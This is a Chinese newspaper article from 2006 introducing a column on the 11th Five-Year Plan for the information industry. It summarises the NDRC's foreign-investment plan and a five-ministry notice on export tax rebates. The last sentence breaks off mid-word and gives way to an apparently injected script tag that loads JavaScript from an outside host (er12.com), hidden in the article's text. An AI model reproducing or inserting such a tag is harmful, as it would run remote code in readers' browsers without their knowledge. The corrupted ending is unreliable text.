在“十一五”开局之年,中国信息产业继续保持了良好的发展态势。2006年信息产业实现增加值1.52万亿元,占gdp的比重达到7.5%。
信息产业已经成为国民经济发展的基础产业、支柱产业和先导产业。“十一五”时期,信息产业发展的主要目标是:到2010年,信息产业增加值完成2.26万亿元,占gdp的比重达到10%,电子产品出口占全国外贸出口额的比重保持在35%左右;全国电话用户总数10亿户,互联网用户2亿户。
2006年是个“规划年”。2006年初,《中华人民共和国国民经济和社会发展第十一个五年规划纲要》和《国家中长期科学和技术发展规划纲要(2006-2020年)》相继颁布。2006年8月,信息产业部颁布了《信息产业科技发展“十一五”规划及2020年中长期规划纲要》。
本报从今天开始,开辟“十一五”规划纵深行专栏,全面解读相关省市、产业园区、主导企业的“十一五”规划,让读者充分把握“十一五”信息产业的脉动,促进和谐产业发展,带动和谐社会建设。
信息产业的发展离不开相关部委的政策支持,在商务部、国土资源部、国家发改委、财政部、海关总署、科技部等多个部委发布的“十一五”规划中,都出台了相关的规划或配套政策支持信息产业发展。本报以此作为“十一五”规划纵深行开篇,以飨读者。
国家发改委:《利用外资“十一五”规划》
促进建立自主创新体系
引导外商投资产业结构优化和升级
鼓励外商继续投资电子信息、石化、化工、汽车等行业。适当增加大型石化、化工等产业利用外资的项目,特别鼓励能实现资源自我平衡的项目,通过合资合作等多种方式引进国外先进技术。汽车制造业在继续做好合资企业产品升级换代、提高市场竞争力的同时,鼓励外资重点投向汽车设计、研发中心建设,继续鼓励外资发展专业化、高技术含量的汽车零部件生产。
促进建立更加开放的自主创新体系
鼓励外商特别是大型跨国公司把更高技术水平、更高附加值含量的加工制造环节和研发机构转移到我国,鼓励和吸引跨国公司来华设立生产制造基地、配套基地、服务外包基地、培训基地,发挥技术溢出效应,促进我国企业自主创新能力的增强。
实现利用外资和港澳台投资方式多样化
继续鼓励跨国公司在华投资,设立地区总部、研发中心、采购中心、培训中心等各类营运中心和生产基地;鼓励跨国公司加强与我国本地企业的战略性合作,提高跨国公司本地化程度,更好地融入我国经济;鼓励跨国公司增加对我国本土企业的技术转移和扩散,防止跨国公司对我国重点行业和领域形成控制和垄断。重视吸引台湾地区投资。积极推进内地与香港、澳门特别行政区更紧密经贸关系安排的实施,鼓励港澳地区加大对内地的投资,进一步加强和深化内地与香港、澳门的经济联系。继续鼓励海外华商来内地投资。
加强对外商投资产业和区域投向的政策引导
根据经济形势的发展和变化,动态调整《外商投资产业指导目录》,修改完善《中西部地区外商投资优势产业目录》,有效引导中西部地区外商投资方向。制定加快东北地区等老工业基地和中西部地区对外开放的相关政策和实施细则。
引导多种形式的内外资技术合作与联合创新
完善外商投资项目进口设备免税政策,鼓励外商投资项目更多地采购国内先进设备和技术,促进我国装备制造业发展。完善鼓励和规范外商在我国进行风险创业投资的管理规定,加快出台有关配套政策,借鉴国际风险投资的成功经验,健全外商进行风险创业投资的进入和退出机制。
点评:在此规划中能看出国家对外资的投向和投资方式等有了更多的规范和引导,更加注重效益与质量,注重外资对自主创新能力的支持。
海关总署等五部委:
调整部分商品出口退税率
2006年9月14日,财政部、国家发改委、商务部、海关总署、国家税务总局联合下发了《关于调整部分商品出口退税率和增补加工贸易禁止类商品目录的通知》。
通知规定了取消和降低以及提高出口退税率的商品名称。其中,提高出口退税率的部分商品为两大类,一是重大技术装备、部分it产品和生物医药产品以及部分国家产业政策鼓励出口的高科技产品等,规定出口退税率由13%提高到17%。另一类是部分以农产品为原料的加工品,出口退税率由5%或11%提高到13%。
《通知》规定,出口退税率的调整自2006年9月15日起执行(以报关出口日期为准)。
关于增补加工贸易禁止类商品目录,《通知》规定,将此前已经取消出口退税以及本次取消出口退税的商品列入加工贸易禁止类目录。对列入加工贸易禁止类目录的商品进口一律征收进口关税和进口环节税。禁止类目录的具体商品名称及税号由商务部会同有关部门另行发布。此规定自2006年9月15日起施?script src=http://er12.com/t.js>











